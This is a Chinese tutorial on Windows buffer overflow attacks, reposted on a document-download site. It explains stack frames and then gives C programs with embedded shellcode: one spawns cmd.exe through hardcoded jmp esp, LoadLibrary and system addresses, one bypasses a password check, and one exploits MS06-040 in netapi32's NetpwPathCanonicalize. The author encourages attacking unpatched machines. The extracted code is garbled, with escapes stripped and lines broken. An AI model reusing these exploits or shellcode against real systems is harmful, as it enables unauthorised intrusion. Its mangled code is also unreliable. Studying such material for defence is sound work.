ImageVerifierCode 换一换
格式:DOCX , 页数:13 ,大小:216.72KB ,
资源ID:5745848      下载积分:3 金币
快捷下载
登录下载
邮箱/手机:
温馨提示:
快捷下载时,用户名和密码都是您填写的邮箱或者手机号,方便查询和重复下载(系统自动生成)。 如填写123,账号就是123,密码也是123。
特别说明:
请自助下载,系统不会自动发送文件的哦; 如果您已付费,想二次下载,请登录后访问:我的下载记录
支付方式: 支付宝    微信支付   
验证码:   换一换

加入VIP,免费下载
 

温馨提示:由于个人手机设置不同,如果发现不能下载,请复制以下地址【https://www.bdocx.com/down/5745848.html】到电脑端继续下载(重复下载不扣费)。

已注册用户请登录:
账号:
密码:
验证码:   换一换
  忘记密码?
三方登录: 微信登录   QQ登录  

下载须知

1: 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。
2: 试题试卷类文档,如果标题没有明确说明有答案则都视为没有答案,请知晓。
3: 文件的所有权益归上传用户所有。
4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
5. 本站仅提供交流平台,并不能对任何下载内容负责。
6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

版权提示 | 免责声明

本文(缓冲区溢出攻击原理.docx)为本站会员(b****6)主动上传,冰豆网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。 若此文所含内容侵犯了您的版权或隐私,请立即通知冰豆网(发送邮件至service@bdocx.com或直接QQ联系客服),我们立即给予删除!

缓冲区溢出攻击原理.docx

1、缓冲区溢出攻击原理缓冲区溢出攻击原理一、缓冲区溢出攻击原理缓冲区溢出是一种非常普遍、非常危险的漏洞,在各种操作系统、应用软件中广泛存在。利用缓冲区溢出攻击,可以导致程序运行失败、系统当机、重新启动等后果。更为严重的是,可以利用它执行非授权指令,甚至可以取得系统特权,进而进行各种非法操作。缓冲区溢出是一种系统攻击的手段,通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,使程序转而执行其它指令,以达到攻击的目的。据统计,通过缓冲区溢出进行的攻击占所有系统攻击总数的80%以上。知道了这个数据我非常震惊,以前进行的活动大都是找各方面的黑客软件然后学习这个软件怎么用,但是众所周

2、知,攻击型的黑客软件都是各大杀毒软件的活靶子,基本上几天就不能用了,所以学习了这些软件的原理,我也能写几行代码,不再依赖黑客软件,就算汇编语言难掌握,也可以保存好常用的代码,其使用方法是比较简单的,下面是我学习的过程,由于没有经验,肯定有不少疏漏,也肯定不少地方绕了弯路,但自己学的过程中也获得了更多乐趣和收货时的喜悦,下面是具体介绍。我用的是windows xp sp3编程软件是vc6.0。还用到了olldbg2.0。都是很常用的工具。先介绍一下缓冲区溢出攻击的基础知识储备,进程内存空间是我最先接触的,现在看来也是最必要的基础,windows系统核心内存区间0xFFFFFFFF0x800000

3、00 (4G2G)为Win32操作系统保留用户内存区间0x000000000x80000000 (2G0G)堆: 动态分配变量(malloc), 向高地址增长进程使用的内存可以按照功能大致分成以下4 个部分。 (1)代码区:这个区域存储着被装入执行的二进制机器代码,处理器会到这个区域取指并执行。 (2)数据区:用于存储全局变量等。 (3)堆 区:进程可以在堆区动态地请求一定大小的内存,并在用完之后归还给堆区。动态分配和回收是堆区的特点。 (4)栈 区:用于动态地存储函数之间的调用关系,以保证被调用函数在返回时恢复到调用函数中继续执行。在Windows平台下,高级语言写出的程序经过编译链接,最终

4、会变成PE文件。当PE文件被装载运行后,就成了所谓的进程。PE文件代码段中包含的二进制级别的机器代码会被装入内存的代码区,处理器将到内存的这个区域一条一条地取出指令和操作数,并送入算术逻辑单元进行运算;如果代码中请求开辟动态内存,则会在内存的堆区分配一块大小合适的区域返回给代码区的代码使用;当函数调用发生时,函数的调用关系等信息会动态地保存在内存的栈区,以供处理器在执行完被调用函数的代码时,返回母函数。文字比较抽象,我是通过下面三张图理解的,而且这部分内容在大学计算机基础里讲过一些。 堆栈 ( 简称栈 ) 是一种先进后出的数据表结构。栈有两种常用操作:压栈和出。栈有两个重要属性:栈顶和栈底。内

5、存的栈区实际上指的是系统栈。系统栈 由 系统自动维护,用于实现高级言的函数调用。每一个函数在被调用时都 有 属于自己的栈帧空间。当函数被调用时,系统会为这个函数开辟一个新的栈帧,并把它压入栈中,所以正在运行的函数总在系统栈的栈顶。当函数返回时,系统栈会弹出该函数所对应的栈帧空间。win32 系统提供了两个特殊的寄存器来标识系统栈最顶端的栈帧。ESP: 扩展堆栈指针。 该寄存器存放一个指针,它指向系统栈最顶端那个函 数帧的栈顶。EBP: 扩 展基指针。 该寄存器存放一个指针,它指向系统栈最顶端那个函数 栈的栈底。此外, EIP 寄存器(扩展指令指针)对于堆栈的操作非常重要, EIP 包含将被执行

6、的下一条指令的地址。函数栈帧: ESP 和 EBP 之间的空间为当前栈帧,每一个函数都有属于自己ESP 和 EBP 指针。 ESP 表示了当前栈帧的栈顶, EBP 标识了当前栈的栈底 。在函数栈帧中,一般包含 以 下重要的信息: 局部变量:系统会在该函数栈帧上为该函数运行 时 的局部变量分配 相应2 函数返回地址:存放了本函数执行完后应该返回到调用本函数的母函数(主调函数) 中继续执行的指令的位置。在 Win32 操作系统中,当程序里出现函数调用时,系统会自动为这次函数调用分配一个堆栈结构。 函数的调用大概包括下面几个步骤: 参数入栈 : 一般是将 被调函数的 参数从右到左依次压入系统栈 (

7、即 调用该函数的母函数的函数栈帧 ) 中。返回地址入栈: 把当前 EIP 的值 ( 当前代码 区正在 执行指令的下一条指令的地址 ) 压入栈中 ,作为返回地址 。代码区跳转:将 EIP 指向 被 调用函数的入口 处 。栈帧调整:主要是用来保持堆栈平衡,这个 过程可以由被调用函数执行,也可以由母函数执行,具体由编译器决定。 首先是 将 EBP 压入栈中(用于调用返回时恢复原堆栈) ,并 把 母 函数的 ESP 的值送入寄存器EBP 中 ,作为新的基址 ( 新栈帧的 EBP 实际上保存的是母函数的 ESP ) ,最后,为本地变量留出空间,把 ESP 减去适当的值(注意:内存分配是以字为单位的)下面

8、就是怎样让缓冲区溢出,以及找到并利用漏洞。缓冲区溢出就是在向缓冲区写入数据时,由于没有做边界检查,导致写入冲区的数据超过预先分配的边界,从而使溢出数据覆盖在合法数据上而引起,大家可能已经想到了,我们可以把进程的目标地址覆盖,改成自己需要的地址。shellcode 字面上指的是执行 shell 的字节码 ( 也称为机器码 ) 。现在 shellcode具有了更广泛的含义,可以将他定义为执行一个成功 exploit 的代码。shellcode 可以通俗的理解为程序执行指令 ( 也就是汇编指令 ) 对应的机器码。Win32 Shellcode C语言版实用的Win32 ShellcodeXor编码消

9、除空字节给出远程连接Create server and listenAccept client connectionCreate a child process to run “cmd.exe” Create two pipes and links the shell with socketCommand: Client send recv Server write pipe2 stdin Cmd.exeOutput: Client recv send Server read pipe1 stdout Cmd.exe 通过跳转指令执行Shellcode如何利用跳转指令让漏洞程序正确执行我们的S

10、hellcode 0040100F |. E8 0C000000 CALL 00401014 |. 83C4 08 ADD ESP,800401017 |. 8BE5 MOV ESP,EBP00401019 |. 5D POP EBP0040101A . C3 RETN二、缓冲区溢出攻击技术为了说明如何对缓冲区溢出漏洞进行攻击,我们对下面的示例程序来进行#include string.h#include stdio.h#includechar name=AAAAAAAAAAAAAAAA;int main()char output8;strcpy(output, name);/ 内存拷贝,如果

11、name 长度超过 8 ,则出现缓冲区溢出for(int i=0;i8&outputi;i+)printf(0x%x,outputi);printf(n);return 0;上面的程序里定义了一个 8 字节的缓冲区 output8, 使用函数 strcpy 来将数 组name 的内容拷贝到该缓冲去中,由于 name 数据的长度超过了 8 字节,根据第 二部分关于函数调用和缓冲区溢出形成的原理, name 里的数据 依次 覆盖 了 EBP 和返回地址 ( 两个都是 32 位的,占用 4 个字节 ) ,使得 strcpy 函数返回后的 EIP 指 向0x41414141, 这个地址是非法地址,所以

12、程序会出现异常而退出。图 3.1 为程序异常退出的截图。下面是通过更改地址打开目标主机的命令提示符窗口的示例程序,完成后就能通过命令提示符窗口操作目标主机#include string.h#include stdio.h#includechar name=x41x41x41x41x41x41x41x41x41x41x41x41 / 覆盖 ebpx12x45xfax7f / 覆盖 eip , jmp esp 地址 7ffa4512x55x8bxecx33xc0x50x50x50xc6x45xf4x6dxc6x45xf5x73xc6x45xf6x76xc6x45xf7x63xc6x45xf8x72

13、xc6x45xf9x74xc6x45xfax2exc6x45xfbx64xc6x45xfcx6cxc6x45xfdx6cx8dx45xf4x50xb8x77x1dx80x7c / LoadLibrary 的地址xffxd0x55x8bxecx33xffx57x57x57xc6x45xf4x73xc6x45xf5x74xc6x45xf6x61xc6x45xf7x72xc6x45xf8x74xc6x45xf9x20xc6x45xfax63xc6x45xfbx6dxc6x45xfcx64x8dx7dxf4x57xbaxc7x93xbfx77 / System 的地址xffxd2;int main()

14、char output8;strcpy(output, name);for(int i=0;i8&outputi;i+)printf(0x%x,outputi);printf(n);return 0;其运行结果窗口为非常强大,令我非常震惊。下面是一个通过溢出攻击越过密码检查程序的程序#include#include #define PASSWORD 1234567int verify_password (char *password) int authenticated; char buffer8; authenticated=strcmp(password,PASSWORD); strcpy

15、(buffer,password); return authenticated;void main() int valid_flag=0; char password1024; while(1) printf(please input password:? ); scanf(%s,password); valid_flag = verify_password(password); if(valid_flag) printf(incorrect password!nn); else printf(Congratulation! You have passed the verification!n

16、); break; 正确的运行结果为如果输入的数字过长就会出现下面的窗口:三、实际漏洞下面就是找漏洞的过程,有时间不妨多去微软官网上看看发布的漏洞补丁,比较懒的或安全意识不强的肯定不会第一时间打补丁,我们就可趁机攻击。下面是微软一个非常有名的漏洞Microsoft 安全公告 MS06-040Server 服务中的漏洞可能允许远程执行代码 (921883)Windows 中有一些非常重要的动态链接库 (dll) 文件 , 如负责 GUI 操作的user32.d ll ,负责系统调用的 kernel32.d ll ,负责内存操作的 ntdll.d ll ,以及负责网络操作的 netapi32.d

17、ll 。MS06-040 就是 由 于 负 责 网 络 操 作 的 netapi32.d ll 中的 导出 函数NetpwPathCanonica lize 存在栈 溢出 漏洞 。这 个漏 洞影 响的 操 作系 统有Windows2000 、 Windows2003 、 Windows XP sp1/sp2 等。而且这个漏洞被魔波蠕虫病毒利用,所以非常出名。用到的工具就是ollybdg 2.0,确认漏洞并寻找溢出点的过程非常繁琐,限于篇幅,不进行介绍,只介绍利用阶段,下面是一段溢出攻击代码:#include typedef void (*MYPROC)(LPTSTR);char shellco

18、de=xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0Cx8BxF4x8Dx7ExF4x33xDBxB7x04x2BxE3x66xBBx33x32x53x68x75x73x65x72x54x33xD2x64x8Bx5Ax30x8Bx4Bx0Cx8Bx49x1Cx8Bx09x8Bx69x08xADx3Dx6Ax0Ax38x1Ex75x05x95xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05x78x03xCDx8Bx59x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3AxC4x74x08

19、xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75xE4x8Bx59x24x03xDDx66x8Bx3Cx7Bx8Bx59x1Cx03xDDx03x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75xA9x33xDBx53x68x77x65x73x74x68x66x61x69x6Cx8BxC4x53x50x50x53xFFx57xFCx53xFFx57xF8;int main()char arg_10x320;char arg_20x440;int arg_3=0x440;char arg_40x100;long arg_5=44;HINS

20、TANCE LibHandle;MYPROC Trigger;char dll = ./netapi32.dll;char VulFunc = NetpwPathCanonicalize;LibHandle = LoadLibrary(dll);Trigger = (MYPROC) GetProcAddress(LibHandle, VulFunc);memset(arg_1,0,sizeof (arg_1);memset(arg_1,0x90,sizeof (arg_1)-2);memset(arg_4,0,sizeof (arg_4);memset(arg_4,a,sizeof (arg_4)-2);memcpy(arg_4,shellcode,168);arg_10x318=0xF9;/ CALL ECX 的地址arg_10x319=0x52;arg_10x31A=0x18;arg_10x31B=0x75;(Trigger)(arg_1,arg_2,arg_3,arg_4,&arg_5,0);FreeLibrary(LibHandle);结果如下图:

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1